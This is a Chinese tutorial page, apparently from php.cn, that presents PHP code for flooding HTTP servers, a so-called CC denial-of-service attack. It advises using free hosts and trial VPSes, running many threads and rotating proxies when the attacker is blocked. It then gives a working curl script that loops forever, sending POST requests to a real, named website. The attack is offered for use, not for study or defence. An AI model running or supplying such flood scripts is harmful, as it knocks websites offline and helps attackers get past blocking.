Home > php教程 > php手册 > PHP代码实现攻击HTTP服务器

PHP代码实现攻击HTTP服务器

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
Release: 2016-06-06 19:35:22
Original
1076 people have browsed it

环境说明: 1.攻击原理都一样,实现方法都类似,没什么技术含量,go语言javapythonasp都可以实现,但是免费主机是php多,尤其是老外提供的,还有一些免费在线UNIXshell之类,甚至可以用代理 2.如果是免费主机,可能会限制CPU等,那么for循环变成50次甚至5次,

环境说明:
1.攻击原理都一样,实现方法都类似,没什么技术含量,go语言 java python asp都可以实现,但是免费主机是php多,尤其是老外提供的,还有一些免费在线UNIXshell之类,甚至可以用代理

2.如果是免费主机,可能会限制CPU等,那么for循环变成50次甚至5次,多次访问即可,反正数量足够多,每分钟发上千次一个普通的个人网站就差不多了

3.如果是淘宝卖的试用VPS,就多买点,然后用C或者其他语言实现,多线程使劲跑,被封就网上找个代理,多得是

4.如果是本机,加个循环代理,用其他语言实现,多线程其实因为延迟很短基本上不耗流量
function cc(){
$url='http://www.zhenhaotv.com/';
$postdata=array(
	
		'text'=>'%BD%D3%BF%DA%BF%D5%BC%E4%BF%D5%BC%E4%BF%D5%BC%E4%BD%D3%BF%DA',
		'fonts'=>'01',
		'fontsize'=>'68',
		'wzcolor'=>'000000',
		'bgcolor'=>'FFFFFF'
);

$ch=curl_init();

//get没有以下两行
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
//curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($ch,CURLOPT_TIMEOUT_MS, 100);
//执行
$re=curl_exec($ch);
curl_close($ch);

echo $re;
//代码到这里就结束了,接下来,可以执行,
}
for(;;){
	cc();
}
Copy after login
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Latest Issues
php data acquisition?
From 1970-01-01 08:00:00
0
0
0
PHP extension intl
From 1970-01-01 08:00:00
0
0
0
How to learn php well
From 1970-01-01 08:00:00
0
0
0
Popular Recommendations
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template